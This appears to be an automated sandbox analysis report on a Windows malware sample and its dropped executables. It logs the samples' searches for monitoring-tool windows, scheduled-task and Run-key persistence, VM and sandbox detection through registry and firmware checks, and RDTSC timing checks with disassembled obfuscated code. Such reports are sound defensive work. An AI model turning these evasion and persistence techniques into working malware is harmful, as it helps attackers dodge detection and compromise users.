Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Window searched: window name: Regmonclass

Source: C:\Users\user\DocumentsKFBGDBFBKK.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e7dea42e57.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e7dea42e57.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 6cb554c070.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 6cb554c070.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run b39ed05e31.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run b39ed05e31.exe

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6B55F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C6B55F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 460219 second address: 460232 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F44A4EBD632h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 460232 second address: 45FB67 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a cmc 0x0000000b jns 00007F44A4E0678Dh 0x00000011 jmp 00007F44A4E06787h 0x00000016 push dword ptr [ebp+122D07F9h] 0x0000001c jmp 00007F44A4E06785h 0x00000021 call dword ptr [ebp+122D29F5h] 0x00000027 pushad 0x00000028 mov dword ptr [ebp+122D1987h], esi 0x0000002e jc 00007F44A4E06777h 0x00000034 stc 0x00000035 xor eax, eax 0x00000037 jne 00007F44A4E0678Dh 0x0000003d jmp 00007F44A4E06787h 0x00000042 pushad 0x00000043 xor bl, FFFFFFE3h 0x00000046 sub dword ptr [ebp+122D1987h], ebx 0x0000004c popad 0x0000004d mov edx, dword ptr [esp+28h] 0x00000051 mov dword ptr [ebp+122D1987h], ecx 0x00000057 mov dword ptr [ebp+122D2CECh], eax 0x0000005d clc 0x0000005e mov esi, 0000003Ch 0x00000063 jng 00007F44A4E06777h 0x00000069 add esi, dword ptr [esp+24h] 0x0000006d jmp 00007F44A4E0677Fh 0x00000072 lodsw 0x00000074 jng 00007F44A4E06777h 0x0000007a stc 0x0000007b add eax, dword ptr [esp+24h] 0x0000007f cmc 0x00000080 mov ebx, dword ptr [esp+24h] 0x00000084 pushad 0x00000085 mov cl, ADh 0x00000087 popad 0x00000088 ja 00007F44A4E06785h 0x0000008e jmp 00007F44A4E0677Fh 0x00000093 nop 0x00000094 push ecx 0x00000095 push eax 0x00000096 push edx 0x00000097 jmp 00007F44A4E06787h 0x0000009c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45FB67 second address: 45FB79 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 ja 00007F44A4EBD630h 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D9254 second address: 5D9276 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F44A4E06776h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F44A4E06786h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D9276 second address: 5D927A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D927A second address: 5D9280 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D97ED second address: 5D9800 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F44A4EBD626h 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jl 00007F44A4EBD626h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DB0D3 second address: 5DB0E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F44A4E0677Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DB0E1 second address: 5DB0FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44A4EBD62Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DB0FC second address: 5DB100 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DB100 second address: 5DB135 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44A4EBD634h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F44A4EBD632h 0x0000000e popad 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DB135 second address: 5DB139 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DB139 second address: 5DB13D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DB13D second address: 5DB143 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DB143 second address: 5DB149 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DB149 second address: 5DB14D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DB20B second address: 5DB21C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F44A4EBD62Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DB21C second address: 5DB2B8 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F44A4E06776h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c add dword ptr [esp], 35700C83h 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 call 00007F44A4E06778h 0x0000001b pop ebx 0x0000001c mov dword ptr [esp+04h], ebx 0x00000020 add dword ptr [esp+04h], 0000001Ch 0x00000028 inc ebx 0x00000029 push ebx 0x0000002a ret 0x0000002b pop ebx 0x0000002c ret 0x0000002d or ch, FFFFFFA1h 0x00000030 push 00000003h 0x00000032 jg 00007F44A4E0677Ch 0x00000038 mov edi, dword ptr [ebp+122D2D9Ch] 0x0000003e push 00000000h 0x00000040 mov esi, dword ptr [ebp+122D2B60h] 0x00000046 and dh, 00000000h 0x00000049 push 00000003h 0x0000004b mov cx, bx 0x0000004e jmp 00007F44A4E06786h 0x00000053 push 5308152Eh 0x00000058 jmp 00007F44A4E06782h 0x0000005d add dword ptr [esp], 6CF7EAD2h 0x00000064 stc 0x00000065 lea ebx, dword ptr [ebp+1244EFFFh] 0x0000006b sub cl, 00000056h 0x0000006e push eax 0x0000006f push edx 0x00000070 push eax 0x00000071 push edx 0x00000072 push eax 0x00000073 push edx 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DB2B8 second address: 5DB2BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DB30A second address: 5DB30E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DB30E second address: 5DB3BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ebx 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push ecx 0x00000011 call 00007F44A4EBD628h 0x00000016 pop ecx 0x00000017 mov dword ptr [esp+04h], ecx 0x0000001b add dword ptr [esp+04h], 0000001Dh 0x00000023 inc ecx 0x00000024 push ecx 0x00000025 ret 0x00000026 pop ecx 0x00000027 ret 0x00000028 sbb ecx, 339F1E01h 0x0000002e call 00007F44A4EBD634h 0x00000033 cld 0x00000034 pop esi 0x00000035 push 00000000h 0x00000037 and esi, dword ptr [ebp+122D2D90h] 0x0000003d call 00007F44A4EBD629h 0x00000042 je 00007F44A4EBD631h 0x00000048 push eax 0x00000049 pushad 0x0000004a jmp 00007F44A4EBD62Eh 0x0000004f jno 00007F44A4EBD62Ch 0x00000055 popad 0x00000056 mov eax, dword ptr [esp+04h] 0x0000005a push eax 0x0000005b push edx 0x0000005c jmp 00007F44A4EBD638h 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DB3BA second address: 5DB3C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DB3C0 second address: 5DB3DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44A4EBD631h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DB3DE second address: 5DB3E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DB3E3 second address: 5DB3FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F44A4EBD634h 0x00000009 rdtsc
